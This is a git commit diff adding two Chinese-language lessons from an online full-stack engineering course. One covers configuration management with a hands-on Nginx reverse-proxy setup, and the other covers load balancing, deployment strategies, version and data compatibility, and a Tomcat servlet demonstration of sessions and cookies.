This commit is contained in:
louzefeng
2024-07-11 05:50:32 +00:00
parent bf99793fd0
commit d3828a7aee
6071 changed files with 0 additions and 0 deletions

View File

@@ -0,0 +1,261 @@
<audio id="audio" title="28 | Ops三部曲之一配置管理" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/d9/f5/d9af551758849565df71eb9997f094f5.mp3"></audio>
你好,我是四火。
欢迎进入第五章:寻找最佳实践。本章我们会讲到 Ops由于 Ops 的范围实在太广了,因此从今天开始,接连三讲,我们会讨论 Ops 的三个常见话题,今天要谈的就是其中的第一个——配置管理。
我们总在谈论 Ops所谓 Ops指的就是 Operations如果你专门去搜索你恐怕也很难找到一个准确的定义。在中文翻译上看“运维”这个词用得比较多但是我认为 Ops 的含义明显更为广泛。我的理解是,和实际的软件开发和质量保证相对应的,环境搭建、配置管理、自动化流程、部署发布,等等的实践活动,无论线上还是线下,无论它们是在开发测试环节还是产品发布环节,都可以算作 Ops。
当然,**我们并不需要执着去找出 Ops 和开发、测试的分界线,它们实际是互有重叠的**,我觉得[维基百科](https://zh.wikipedia.org/wiki/DevOps#/media/File:Devops.svg)上的这张图就很好地展示了这一点。
<img src="https://static001.geekbang.org/resource/image/e0/46/e01e10d70ba403368ee9f9973d87f646.jpg" alt="">
我想很多程序员不喜欢 Ops也不愿意谈 Ops这都可以理解毕竟和开发本身比起来它没有那么多的创造性有时甚至属于“重要但无趣”的工作。但是我必须要强调的是不只对于全栈工程师而言Ops 能力对于每一个通常意义上的软件工程师来说,都是必须要锻炼的重要方面。
需要明确的是,我今天要讲的配置管理,我认为就是 Ops 的一个重要部分,它关注的是软件代码以各种形式,在项目的各个阶段存在的配置。几乎每个做运维的人都要经常去修改大量的线上配置,无论是来自操作系统还是应用本身。这个话题很少有人谈及,但却存在于每个程序员的日常工作中。
## 常见的配置方式
在实际的项目开发过程中,当我们讲到“配置”的时候,其实隐含了许多不同的方式,这些方式有时候看起来差不多,实际却有着最适合的场景。
### 1.源代码中的常量
代码常量是一种最典型的配置方式,它的特点是定义和使用方便,且只对开发人员友好。每次变更的时候,都需要改动代码,经过一定的测试和 Code Review之后还要通过指定流程的部署才能发布到产品线上。
通常来说,项目中常量类的定义有着明确的规约,比如这样的示例代码:
```
public final class ProductConstants {
private ProductConstants() {}
public static int MAX_NUMBER = 9999;
public static String DEFAULT_CODE = &quot;123&quot;;
}
```
你看,上面的常量类包含的要点有:
- 类名直白且具体,这个 Product 修饰很重要,避免了过于一般化的常量类定义,从而限制了它的职责范围;而这个 Constants 则说明了类的属性,一眼就知道它是干什么的。
- 被定义为无法实例化的(即将构造器私有化),无法被继承的(即使用 final 修饰)。
- 常量都使用 public static 修饰,这样就可以直接访问,而不需要实例化这个类。
值得一提的是,在我参与过的项目中,有的程序员为了强制编码的时候只能定义 static 属性来表示常量,会使用 interface 这样的方式,即使用接口来存放常量。效果自然是能达到的,但是这个方法有些投机取巧(毕竟和 interface 关键字所应该表示的含义有明显偏差了),我认为这是一种反模式。
### 2.代码中的配置文件
代码中的配置文件也很常见,它们从 Java、Python 这样的编程语言中脱离出来,但是依然作为源代码的一部分而存在。那为什么要这样做呢?
简单来说,就是为了“解耦”。
而就是这个“解耦”,带来了诸多好处。例如最小职责,单一职责,即配置文件做且只能做配置;再例如可以将同一类的资源放在更合适的地方统一管理了。
举例来说:
```
MessagesBundle_en_US.properties
MessagesBundle_fr_CN.properties
MessagesBundle_de_DE.properties
```
你看,这样的 i18nInternationalization的特定语言的资源文件就从编程语言的代码中独立出来了更容易统一管理和维护。
这种把相关代码或配置单独拿出来的方式,不知道你能否联想到我们在 [[第 10 讲]](https://time.geekbang.org/column/article/143834) 中介绍的 MVC 控制器各个子功能的配置方式,当时不但讨论了横向和纵向两种实现形式,还讨论了各自的优劣,如果忘记了的话,你可以阅读回顾一下。比如 URL 映射,既可以通过注解的方式,和实际的 Controller 代码放在一起;也可以通过 XML 配置的方式,从 Java 代码中拿出去。
### 3.环境配置文件和环境变量
接着我们来讲讲环境下的配置。这里的“环境”Environment指的是代码部署的环境可以是用于开发的笔记本电脑也可以是生产线上的机器。对于不同的环境虽说代码是同一份但是可以通过不同的环境配置文件和环境变量让代码执行不同的逻辑。
举一个环境配置文件的例子,例如环境下有这样一个文件,定义了这个环境所属的“地区”,而通过这个地区,可以从代码中寻找到相应正确的配置文件来读取配置:
```
/etc/region
```
在某些系统中,这样的配置可以通过一个 web 工具指定,并通过一定的部署工具将其同步到目标环境中去。
还有一种类似的方式是环境变量,环境变量和环境配置文件,有时允许同时存在,但是有一定的优先级顺序。比如说,如果环境变量使用 REGION 也指定了上述文件中的 region发生了冲突这就要根据优先级的关系来决定使用哪一个配置通常来说环境变量比环境配置文件优先级更高。
那为什么要允许配置不同方式的覆写呢?这是为了给应用的部署赋予灵活性,举例来说,/etc/region 已经确定了值为 EU欧洲那么如果需要在该物理机器上部署两份环境 ,第二份就可以通过环境变量 REGION 强制指定为 NA北美
### 4.运行参数
运行参数,可以说是最为具体的一种配置方式,真正做到了应用级别,即一个应用可以配置一个参数。这种情况其实对于开发人员来说非常熟悉,比如在项目中应用 [log4j2](https://logging.apache.org/log4j/2.x/) 这个日志工具时,启动应用的 java 命令上,增加如下参数:
```
-Dlog4j.configurationFile=xxx/log4j2.xml
```
通过这样的运行参数指定的方式,指定 log4j2 配置文件的位置。
当然,也可以通过规约优于配置的方式,不显式指定位置,而在 classpath 中放置一个名为 log4j2.component.properties 的文件,里面指定类似的配置,而 log4j2 在系统启动的时候可以自动加载。
### 5.配置管理服务
常见的配置方式中,我们最后来讲一下配置管理服务。尤其对一个较大的系统来说,配置管理是从整个系统的层面上抽取并统一管理配置项的方式。通常来说,这样的配置管理系统会被包装成一个服务,当然,也有少数是单纯放到数据库的某张表里,不过这种数据库访问层面的耦合通常并不推荐。
一旦配置管理成为了独立的服务,就说明这个系统已经复杂到一定程度了,通常也意味着这个服务的用户,不再只是开发人员了,往往还有运维人员,甚至是一些非技术的管理人员。
## 配置的层级关系
资源文件,本质上也算是代码的一部分,**通过合理的设计,可以让资源文件具备编程语言代码一般的继承关系。**比如这样的配置文件组织结构:
```
conf/rules.conf
conf/CN/rules.conf
conf/CN/Zhejiang/rules.conf
conf/US/rules.conf
```
conf 目录下rules.conf 文件就像是基类,存放了默认的规则配置;下面的 CN 目录下的 rules.conf 则存放了中国区的增量配置,就像是子类,里面的配置项优先级高于“基类”的配置,起到一个有选择性地覆写的作用;而再下面的 Zhejiang 目录下的 rulels.conf 则表示浙江省的规则配置,优先级更高。
在这种方式下,配置代码不但清晰易懂,而且减少了重复,易于维护。
## 规约优于配置
不知道你是否还记得我们在 [[第 10 讲]](https://time.geekbang.org/column/article/143834) 中介绍过的“终极偷懒大法”——规约优于配置CoCConvention over Configuration。在这种方式下系统和配置的用户会建立“隐性的契约”通过遵从一定的规则比如命名规则达到自动应用配置的目的。
当时我们举了一个 Spring 的 ControllerClassNameHandlerMapping 的例子来说明,现在我们来举另外一个 Grails 的例子。这里使用 [Grails](https://grails.org/) 举例,是因为 Grails 是我接触过的应用 CoC 原则应用得最好的 Web 应用框架了,使用它搭建起一个 Web 应用极其简洁。如果你使用过 Spring Boot 并对它印象还不错的话,你可以尝试这个将快速和简洁履行得更为彻底的 Grails。
```
class BooksController {
def index() { ... }
}
```
你看,如此简单的控制器定义,就可以自动把路径为 /books 的请求映射到 index 方法上,通过规约将 BooksController 映射到 /books 上,而 index 又代表了默认的 GET 方法的访问。
## 配置模板
对于某些复杂或灵活的软件系统来说,配置会变成实际上的 DSLDomain Specific Language复杂程度可以不亚于一门编程语言写的代码。于是有一种常见的帮助使用者理解和修改配置的方法就出现了它就是创建配置模板写好足量的配置默认值和配置说明这样使用者就可以复制一份模板并在其之上按需修改比如 Nginx 的配置模板。
Nginx 是一个高性能的反向代理服务器,反向代理可以挡在 Web 服务器前面响应用户的请求,根据不同的规则来处理请求,比如认证、限流、映射到其它路径,访问特定的服务器等等,将这些复杂的访问逻辑和服务器节点都隐藏起来,给用户提供一个单一的 IP 地址。
下面我们来动动手,亲自配置一下 Nginx 并让它工作起来。
在 Mac 上你可以使用 brew 来安装 Nginx或者去官网上[找一个适合的版本](http://nginx.org/en/download.html)下载安装:
```
brew install nginx
```
在安装成功以后,你应该能看到命令行输出了默认 Nginx 配置文件的位置,例如 /usr/local/etc/nginx/nginx.conf。现在打开看一下你会发现它本质上就是一个配置模板有些配置选项为了便于程序员理解和使用使用注释包围起来了。在同一路径下还有一个 nginx.conf.default 作为备份和参考。
还记得在我们在 [[第 12 讲]](https://time.geekbang.org/column/article/143909) 中自己动手配置的过滤器吗?确认一下它还能正确运行:
```
catalina run
```
接着访问 [http://localhost:8080/books?category=art](http://localhost:8080/books?category=art),你应该能看到类似如下的输出:
```
Category name: art, date: 2019-10-4 Count: 1
```
好,如果能正确运行,我们继续往下;否则,请回头看看那一讲是怎样把这一个过滤器配置起来的。现在我们根据前面提示的 Nginx 配置文件的路径来稍加修改,比如,把 http 部分的 #access_log 开始的一行修改为类似如下路径:
```
access_log /logs/nginx_access.log;
```
接着打开一个新命令行窗口运行:
```
tail -f /logs/nginx_access.log
```
这样就可以监视 Nginx 的请求访问日志了。
继续修改配置文件,在接下去的 server 部分,将开头部分的 listern、server_name 修改为如下配置,表示同时捕获访问 localhost 的 80 端口和 9000 端口的请求:
```
listen 80;
listen 9000;
server_name localhost;
```
紧接着,在它下方增加路径映射的配置:
```
location ~ /books.* {
proxy_pass http://localhost:8080;
}
```
这表示如果 URI 是以 /books 开头,就映射到 8080 的端口上面去。
好了,如果是第一遍启动 Nginx你可以直接执行 sudo nginx如果已经启动但是修改了配置文件你可以重新加载 sudo nginx -s reload。
现在,去访问如下两个链接,你都应该看到前面见到的那个熟悉的页面:
```
http://localhost/books?category=art
http://localhost:9000/books?category=art
```
这证明端口映射成功了,并且,切换回访问日志的那个窗口,你应该可以看到类似这样的访问日志:
```
127.0.0.1 - - [04/Oct/2019:20:36:43 -0700] &quot;GET /books?category=art HTTP/1.1&quot; 200 46 &quot;-&quot; &quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36&quot;
```
## 总结思考
今天我们介绍了 Ops 中配置管理的一些常见的方式,以及一些配置文件常见的组织形式。内容本身并不复杂,也没有介绍配置文件的格式(它在后面的文章中会有介绍),但是配置管理确实是程序员每天都在打交道的对象,自然全栈工程师也不例外,遵从好的实践可以养成良好的 Ops 习惯。
现在,提问时间又到了,我来提两个问题吧:
- 我们今天比较了常见的配置方式,其中一个是使用源代码中的常量,另一个是使用 Web 应用的运行参数,你觉得这两个各有什么优劣,各适合怎样的场景?
- 有程序员朋友认为,大型 Web 应用应该尽量少用代码层面的配置,而是把这些变化的部分放到独立的配置服务中,这样软件会比较灵活,修改简便,适合各式各样的场景。你觉得这个说法对吗?
好,今天的正文内容就到这里,下面是选修课堂。今天的选修课堂我想继续顺着 Ops 往下谈,来讲一讲程序员的“独立性”,而 Ops恰好就是独立性的一大标志。
## 选修课堂:程序员的“独立性”
几乎所有的软件工程师,都会写代码,都会做测试,但是做项目的“独立性”是大相径庭的,这也是容易让人忽略的部分,但却是一个“程序员”向“工程师”蜕变的标志。“独立性”在一定程度上决定了软件工程师的单兵作战能力,而对于全栈工程师来说,尤其如此。我们在技术上精进的同时,也需要提升独立完成项目的能力。而今天我们开始接触的 Ops恰恰是程序员独立性提升的一个重要部分。我认为软件工程的“独立性”可以分成这样几个阶段再次强调一下这并不是从编程能力上来分的
### 第一阶段:编码工作者
拿到详细的设计文档,上面连许多方法接口都定义好了。写一些实现,调用一些既定的 API然后根据设计文档来实现测试。这种情况很常见比如在某些外包公司就是如此。编码能力得到了一定的锻炼但这扼杀了大部分的创造力长此以往也许最终只能成为一个熟练工。我相信短期内这是一个可行的选择但是从程序员成长的角度来看这个阶段是一定要迈过去的。
### 第二阶段:需求的独立实现者
拿到了粗略的设计文档需求和业务也已经大致描述清楚接下去要做的就是发挥聪明才智把软件设计好把代码写好通过测试。在具备简单沟通的基础上这项工作可以在安静和独立的环境中完成因为项目经理、架构师和产品经理已经把那些复杂的技术或业务难题搞定了。这样的环境下可以诞生许许多多代码设计优秀、实现逻辑清晰简洁的程序员但是这始终只是在做一个“残缺”的项目而已。在大厂无论国内外很多程序员新手都是从这个阶段开始的。那从这个阶段开始Ops 的工作就显山露水了,每天大量的安装、配置、部署工作,无论是在开发还是测试环境。
### 第三阶段:项目沟通者和管控者
程序员要和产品经理,甚至客户澄清需求;需要自行分析可行性,明确项目中的技术和业务难点;参与决定和管理迭代周期和计划表;组织和参与项目组内运作跟踪会议。编码以外的事情会占用相当多的时间,而且这些时间往往会用在各种沟通上。到了这个阶段的程序员,通常已经成为了团队中的顶梁柱。
### 第四阶段:从做项目到做产品
从做项目到做产品区别是什么做项目只需要做好一次或者很少的几次交付就可以了而产品则是要倾注心血于它的整个生命周期。做项目需要更多倾听用户需求但是做产品更注重思考思考用户的痛点和产品的定位远重于倾听用户表述要把更多的精力花在产品定义、设计思考怎样把技术、业务落地到产品实现上。在发布以后如果幸运的话产品会有一个漫长的迭代和维护周期Ops 工作也很可能成为你的重心,你会把主要的时间都投入到这里。
### 第五阶段:产品成长的见证人
也许很少人能够参与从零开始,经过创意、市场分析到产品设计的过程。在明确要做什么之前,程序员有大量的时间会花在产品探索性的工作上面。也许会做很多的产品原型,也许某些版本和功能在 A/B 测试之后就被放弃了,更有些产品在流传开来以前就销声匿迹了,或者很快就死在了抄袭和山寨手里。产品的更迭和换代总是千辛万苦,而看得到的部分往往如此简单,但是谁又知道它的历史有多曲折呢?
好,到这里,我想问一下,正在阅读的你,处于程序员“独立性”的哪个阶段呢?
## 扩展阅读
- 当 Operation 和 Development 相遇DevOps 就是它们碰撞产生的火花。你可能已经听过 DevOps 无数次了,但是,如果你并不是很清楚它意味着什么的话,那么我推荐你阅读[什么是 DevOps](https://aws.amazon.com/cn/devops/what-is-devops/?nc1=h_ls)以及 [DevOps: Breaking the Development-Operations barrier](https://www.atlassian.com/devops) 这两篇文章。
- 文中简单介绍了反向代理,而它是几乎每个基于 Web 的全栈工程师都会接触的,维基百科的[页面](https://zh.wikipedia.org/wiki/%E5%8F%8D%E5%90%91%E4%BB%A3%E7%90%86)介绍了它常见的功能。
- 关于 Nginx对于它配置的具体含义如果想了解的话除了[官方的文档例子](https://www.nginx.com/resources/wiki/start/topics/examples/full/)以外,[nginxconfig.io](https://nginxconfig.io/) 这个网站可以通过简单的配置,直观、清晰地生成和比较相应的配置文件。
- 有一篇 [Top 5 configuration management tools](https://opensource.com/article/18/12/configuration-management-tools) 文章介绍了 5 种常见的配置管理工具,推荐阅读,中文译文在[这里](https://linux.cn/article-10497-1.html)。

View File

@@ -0,0 +1,222 @@
<audio id="audio" title="29 | Ops三部曲之二集群部署" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/99/c4/99fe1b97e4c14ca27e12c61b8d9cdcc4.mp3"></audio>
你好,我是四火。
今天我们来谈谈 Ops 的三部曲之二集群部署。毕竟一台物理机能够承载的请求数是十分有限的同时一台物理机还存在着单点故障Single Point Failure问题因此我们通常需要把多台 Web 服务器组成集群,来提供服务。
## 负载分担
还记得我们在 [[第 28 讲]](https://time.geekbang.org/column/article/165225) 中介绍的反向代理吗?负载分担,又叫负载均衡,也就是 Load Balancer就是反向代理设备中非常常见的一种它可以高效地将访问请求按某种策略发送到内网相应的后端服务器上但是对外却只暴露单一的一个地址。
除了作为名词特指设备,负载分担还可以作为动词指用来分配请求负载的行为,它可大可小,小可以到使用 F5 等负载均衡的专用设备来将请求映射到几台服务器上,但也可以大到用 DNS 来实现广域网的路由。例如同样访问 [www.google.com](http://www.google.xn--com-o16s)DNS 会对于不同地区的人解析为不同且就近的 IP 地址,而每个 IP 地址,实际又是一个更小的负载分担的子网和服务器集群。
<img src="https://static001.geekbang.org/resource/image/9f/fe/9f13dc9a69ec0e78d515383f30721cfe.jpg" alt="">
上图演示了这样一个过程:
- 用户 A 和用户 B 都去 DNS 服务器查询 Google 的 IP 地址,但是他们在不同地区,不同的 DNS 服务器返回了不同的 IP 地址;
- 以用户 B 为例,根据返回的地址发送了一个 HTTP GET 请求,这个请求被负载均衡器转发给了服务器集群中的其中一台服务器 Web Server 2 处理并返回。这个城堡一样的结构图示就是负载均衡器,负责转发请求到实际的服务器。它可以由硬件实现,例如 F5也可以由软件实现例如 Nginx。
对于 DNS 的记录查询,我们曾在 [[第 21 讲]](https://time.geekbang.org/column/article/156886) 动手实践过,如果你忘记了可以回看。
### 策略算法
负载分担需要把请求发送到相应的服务器上,但是怎么选择那一台服务器,这里就涉及到策略算法了,这个算法可以很简单,也可以非常复杂。常见的包括这样几种:
- 随机选择:从服务器的池中随机选择一台,这是一种实现上最简单的方式。
- 轮询Round Robin按顺序一台一台地将请求转发本质上它和随机选择一样缺乏对任务较为合理的分配。
- 最小连接:这种方式检测当前和负载均衡器连接的所有后端服务器中,连接数最小的一个。这是一种近似寻找“最小资源占用”的机器的方法。
- 其它寻找“最小资源占用的方法”,例如根据服务器报告上来的 CPU 使用率等等来分配,但是对于统计信息的收集,会显著增加系统的复杂度。
- 指定的哈希算法:例如我们曾在 [[第 23 讲]](https://time.geekbang.org/column/article/159453) 中介绍的一致性哈希,这种方式也非常常用,这种方式就不只是从访问压力分散的角度来考虑了,还起到了寻找数据的“路由”的作用,如果你忘记了,可以回看。
## 服务端 Session 和浏览器 Cookie
从上面负载分担的策略算法可以看出,大部分的策略算法是适合服务器“无状态”的场景,换言之,来自于同一个浏览器的请求,很可能这一个被转发给了服务器 1紧接着的下一个就被转给服务器 2 了。在没有状态的情况下,这第二个请求被转给哪台服务器都无所谓。
### 服务端 Session
对于很多 Web 业务来说,我们恰恰希望服务器是“有状态”的。比如说,登陆是一个消耗资源较为明显的行为,在登陆的过程中,服务器要进行鉴权,去数据库查询用户的权限,获取用户的信息等操作。那么用户在登陆以后,一定时间内活跃的访问,我们希望可以直接完成,而不需要再次进行重复的鉴权、权限查询和用户信息获取等操作。
这就需要服务端存储的“会话”Session对象来实现了。Web 服务器在内存中存放一个临时对象,这个对象就可以存放针对特定用户的具体信息,比如上面提到的用户信息和用户权限信息等等。这样,当用户再一次的请求访问到来的时候,就可以优先去会话对象中查看,如果用户已经登录,已经具备了这些信息,那么就不需要再执行这些重复的鉴权、信息获取等操作了,从而省下大量的资源。
当然,我们也不知道用户什么时候就停止了对网站的使用,他可能会主动“登出”,这就要求我们**主动**将会话过期或销毁;他也可能默默地离开,这就需要一个会话管理的超时机制,在一定时间以后也要“**被动**”销毁这个会话,以避免会话信息无效的资源占用或潜在的安全隐患,这个时间就叫做会话超时时间。
### 浏览器 Cookie
说完了服务端 Session我再来说说浏览器 Cookie。
浏览器可以以文本的形式在本地存放少量的信息。比如,在最近一次访问服务器、创建会话之后,服务器会生成一个标记用户身份的随机串,这样在这个用户下次访问同一个服务器的时候,就可以带上这个随机串,那么服务器就能够根据这个随机串得知,哦,是老用户到访,欢迎欢迎。
这个随机串,以文本的形式在浏览器端的存储,就被称为 Cookie。这个存储可以仅仅是在内存中的因而浏览器退出就失效了也可以存储在硬盘上那么浏览器重新启动以后请求发送依然可以携带这个信息。
从这套机制中,你可能已经发现了,它们在努力做的其实就是一件事——给 HTTP 通信填坑。
回想一下,我们已经介绍过 HTTP 版本的天生缺陷。在 [[第 02 讲]](https://time.geekbang.org/column/article/135864) 我们介绍了,**缺乏数据加密传输的安全性大坑**,被 HTTPS 给填了;在 [[第 03 讲]](https://time.geekbang.org/column/article/136587) 我们学习了,**只能由客户端主动发起消息传递的交互模式上的坑**,被服务端推送等多种技术给填了。
现在我们来填第三个坑——HTTP **协议本身无法保持状态的坑**。既然协议本身无法保持状态,那么协议的两头只好多做一点工作了,而客户端 Cookie 和服务端 Session 都能够保存一定的状态信息,这就让客户端和服务端连续的多次交互,可以建立在一定状态的基础上进行。
## 集群部署
集群带来了无单点故障的好处,因为无单点故障,是保证业务不中断的前提。但是,每当有 bug 修复,或是新版本发布,我们就需要将新代码部署到线上环境中,在这种情况下,我们该怎样保证不间断地提供服务呢?
在软件产品上线的实践活动中,有多种新版本的部署策略,它们包括:
- 重建Recreate部署旧版本停止新版本启动。
- 滚动Ramped部署旧版本缓慢地释出并逐渐被新版本替代。这是最常见的内部服务的部署方式我在下面会详述。
- 蓝绿Blue/Green部署在旧版本不停机的情况下新版本先完成部署再将流量从旧版本导过来。这也是非常常见的这种部署的好处是可以有充分的时间对部署了但未上线的新版本做全量的测试在线下确保没有问题了之后再切换线上流量。
- 金丝雀Canary部署先导入少量的用户访问新版本在验证正常后再逐步扩展到所有机器。这种部署也较为常见最大的优点是它非常“谨慎”可以逐步地扩展影响用户的范围对于一些用户量非常大的业务这种方式相对比较稳妥可以不断观察使用情况和流量数据在部署环节的任意时间做出适当调整。
- A/B 测试A/B Testing部署导入特定用户到新版本代码。
- 影子Shadow部署新版本接收实际的发往老版本的源请求的拷贝但是并不干预源请求的处理和响应本身。
既然使用集群,一大目的就是保证可用性,避免停机时间,而上面这六种中的第一种——重建部署,显然是存在停机时间的,因此很少采用。
### 滚动部署
在互联网大厂(包括我所经历的 Amazon 和 Oracle对于一般的服务来说绝大多数服务的部署采用的都是滚动部署。为什么我们来看一下其它几项的缺点你就清楚了。
- 重建部署存在停机时间,不讨论。
- 蓝绿部署需要两倍的服务器资源,这个是一个局限性,而即便资源申请不是问题,这部署期间多出一倍的资源,机器需要进行初始化等各种准备,会有一定的时间和资源开销;再有一个是老版本代码的机器上可能有一些配置,而这个配置在完成部署后切换的时候会丢失。
- 剩下的三种部署相对更为“谨慎”,自然效率较低,即部署速度较慢,对于绝大多数服务的部署来说,有些得不偿失。当然,事物都有两面性,它们对于许多面向互联网用户等至关重要的业务来说,有时就可能是更佳的选择。
那对于一般的系统,部署会按照 50% - 50% 进行即将部署分为两个阶段。第一个阶段50% 的服务器保持不动,另 50% 的服务器部署新版本;完成后,在第二个阶段,将这 50% 的老版本给更新了,从而达成所有节点的新版本。对于流量比较大的服务,也有采取 33% - 33% - 34% 这样三阶段进行的。
下图来自[这篇](https://thenewstack.io/deployment-strategies/)文章,很好地展示了这个滚动部署渐进的过程:
<img src="https://static001.geekbang.org/resource/image/41/d1/4101aa91a1d7ba7347444f3deb5b51d1.gif" alt="">
### 数据和版本的兼容
在应用部署的实践过程中,程序员一般不会忽略对于程序异常引发服务中断的处理。比如说,新版本部署怎样进行 Sanity Test对于部署后的新版本代码进行快速而基本的测试确保其没有大的问题在测试通过以后再让负载分担把流量引导过来再比如说如果新版本出现了较为严重的问题服务无法支撑就要“回滚”Rollback退回到原有的版本。
但是,我们**除了要考虑程序,还要考虑数据,特别是数据和版本的兼容问题。数据造成的问题更大,单纯因为程序有问题还可能回滚,但若数据有问题却是连回滚的机会都没有的。**我来举个真实的例子。
某 Web 服务提供了数据的读写功能,现在在新版本的数据 schema 中增加了新的属性“ratio”。于是相应的新版本代码也进行了修改于是无论老数据还是新数据无论数据的 schema 中有没有这个 ratio都可以被正确处理。
但是,老代码是无法顺利处理这个新数据加入的 ratio 属性的。在采用滚动部署的过程中,新、老版本的代码同时运行的时候,如果新代码写入了这个带有 ratio 的数据,之后又被老版本代码读取到,就会引发错误。我用一张图来说明这个问题:
<img src="https://static001.geekbang.org/resource/image/aa/7b/aad1c4e5d962158e1b1dbb3aead1dd7b.jpg" alt="">
读到这里,你可能会说,那采用蓝绿部署等方式,一口气将旧代码切换到新代码不就行了吗?
没错,但是这是在没有异常发生的情况下。事实上,所有的部署都需要考虑异常情况,如果有异常情况,需要回滚代码,这突然变得不可能了——因为新数据已经写到了数据库中,一旦回滚到老代码,这些新数据就会导致程序错误。这依然会让负责部署任务的程序员陷入两难的境地。
因此,从设计开始,我们要就考虑数据和版本的兼容问题:
- **既要考虑新代码版本 + 老数据,这个是属于大多数情况,程序员一般不会忘记;**
- **还要考虑老代码版本 + 新数据,这个很容易遗漏 ,出问题的往往是这个。**
那如果真是这样,有什么解决办法吗?
有的,虽然这会有一些麻烦。办法就是引入一个新版本 V2 和老版本 V1 之间的中间版本 V1.5,先部署 V1.5,而这个 V1.5 的代码更新就做一件事,去兼容这个新的数据属性 ratio——代码 V1.5 可以同时兼容数据有 ratio 和无 ratio 两种情况,请注意这时候实际的数据还没有 ratio因此这时候如果出了异常需要回滚代码也是没有任何问题的。
之后再来部署 V2这样如果有了异常可以回滚到 V1.5,这就不会使我们陷入“两难”的境地了。但是,在这完成之后,项目组应该回过头来想一想,为什么 V1 的设计如此僵硬,增加一个新的 ratio 属性就引起了如此之大的数据不兼容问题,后续是否有改进的空间。
## 总结思考
今天我详细介绍了负载分担下的集群和新代码部署的方式,也介绍了服务端 Session 和客户端 Cookie 的原理,希望你能有所启发,有效避坑。
现在我来提两个问题:
- 在你参与过的项目中,代码部署环节,采用的是上面介绍的六种策略中的哪一种呢,或者是第七种?
- 文中我介绍了 Session 和 Cookie 都可以存放一定的信息,现在试想一下,如果你来实现极客时间这个网站(包括注册、登陆和课程订阅功能),你觉得哪些信息应当存放在浏览器的 Cookie 内,哪些信息应当存放在服务端 Session 中呢?
最后,对于 Session 和 Cookie 的部分,今天还有选修课堂,可以帮助你通过具体实践,理解原理,加深印象,希望你可以继续阅读。如果有体会,或者有问题,欢迎你在留言区留言,我们一起讨论。
## 选修课堂:动手实践并理解 Session 和 Cookie 的原理
还记得 [[第 10 讲]](https://time.geekbang.org/column/article/143834) 的选修课堂吗?我们来对当时创建的 ${CATALINA_HOME}/webapps/ROOT/WEB-INF/BookServlet.java 稍作修改,在文件开头的地方引入 java.util.logging.Logger 这个日志类,再在 BookServlet 中创建日志对象,最后在我们曾经实现的 doGet 方法中添加打印 Session 中我们存放的上一次访问的 categoryName 信息,完整代码如下:
```
import java.util.logging.Logger;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class BookServlet extends HttpServlet {
private Logger logger = Logger.getLogger(BookServlet.class.getName());
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String category = request.getParameter(&quot;category&quot;);
String lastCategoryName = (String) request.getSession().getAttribute(&quot;lastCategoryName&quot;);
this.logger.info(&quot;Last category name: &quot; + lastCategoryName);
request.getSession().setAttribute(&quot;lastCategoryName&quot;, category);
request.setAttribute(&quot;categoryName&quot;, category);
request.getRequestDispatcher(&quot;/book.jsp&quot;).forward(request, response);
}
}
```
你看,这里新添加的逻辑主要是,尝试从 Session 中获取 lastCategoryName 并打印,同时把这次请求携带的 category 存放到 Session 中去,以便下次获取。
老规矩,编译一下:
```
javac BookServlet.java -classpath ${CATALINA_HOME}/lib/servlet-api.jar
```
现在启动 Tomcat
```
catalina run
```
打开 Chrome点击菜单栏的“文件”“打开新的隐身窗口”用这种方式以避免过去访问产生的 Cookies 引发的干扰:
<img src="https://static001.geekbang.org/resource/image/e6/ae/e6106e6ecc91b40c411703ffa26455ae.jpg" alt="">
然后,打开开发者工具,并切换到 Network 标签:
<img src="https://static001.geekbang.org/resource/image/bd/51/bda8761f9e6a30a0c12dac6524930b51.jpg" alt="">
接着,访问 [http://localhost:8080/books?category=art](http://localhost:8080/books?category=art),你应该可以看到命令行打印了类似这样的日志:
```
09-Oct-2019 22:03:07.161 INFO [http-nio-8080-exec-1] BookServlet.doGet Last category name: null
```
这就是说,这次访问 Session 里面的 lastCategoryName 是空。
再来看看 Chrome 开发者工具上的 Network 标签,请求被捕获,并可以看到这个请求的响应中,一个 Set-Cookie 的头,这说明服务器没有发现这个 Session因此给这个浏览器用户创建了一个 Session 对象,并且生成了一个标记用户身份的随机串(名为 JSESSIONID传回
<img src="https://static001.geekbang.org/resource/image/c3/d1/c3f5d3e58c853b656d22d17c94909ed1.jpg" alt="">
现在再访问 [http://localhost:8080/books?category=life](http://localhost:8080/books?category=life),注意这时 URL 中的 category 参数变了。命令行打印:
```
09-Oct-2019 22:04:25.977 INFO [http-nio-8080-exec-4] BookServlet.doGet Last category name: art
```
果然,我们把前一次存放的 lastCategoryName 准确打印出来了。
我们还是回到开发者工具的 Network 标签,这次可以看到,请求以 Cookie 头的形式,带上了这个服务器上次传回的 JSESSIONID也就是因为它服务器认出了这个“老用户”
<img src="https://static001.geekbang.org/resource/image/bf/c8/bf112247ae6dba84d351ee134c5dc8c8.jpg" alt="">
当然,我们可以再访问几次这个 URL在 Session 超时时间内,只有第一次的访问服务端会在响应的 Set-Cookie 头部放置新生成的 JSESSIONID而后续来自浏览器的所有请求都会在 Cookie 头上带上这个 JSESSIONID 以证明自己的身份。
用一张图来揭示这个过程吧:
<img src="https://static001.geekbang.org/resource/image/f2/1b/f2a27cf5c0259db3f47dc584ca007a1b.jpg" alt="">
上图中,浏览器一开始携带的 JSESSIONID=123 已经在服务端过期,因此是一个无效的 JSESSIONID于是服务端通过 Set-Cookie 返回了一个新的 456。
再联想到我们今天讲到负载分担负载分担常常支持的一个重要特性被称为“Session Stickiness”这指的就是能够根据这个会话的随机串将请求转发到相应的服务器上。这样我们就能够保证在集群部署的环境下来自于同一客户的的请求可以落到同一服务器上这实际上是许多业务能够正常进行的前提要求。
**Session Stickiness 其实是属于前面介绍的负载分担策略算法中的一部分,它是整个策略算法中的优先策略**,即在匹配 Cookie 能够匹配上的情况下,就使用这个策略来选择服务器;但是如果匹配不上,就意味着是一个新的用户,会按照前面介绍的一般策略算法来决定路由。另外,在一些特殊的项目中,我们可能会选择一些其它的优先策略,例如 IP Stickiness这就是说使用源 IP 地址来作为优先策略选择服务器。
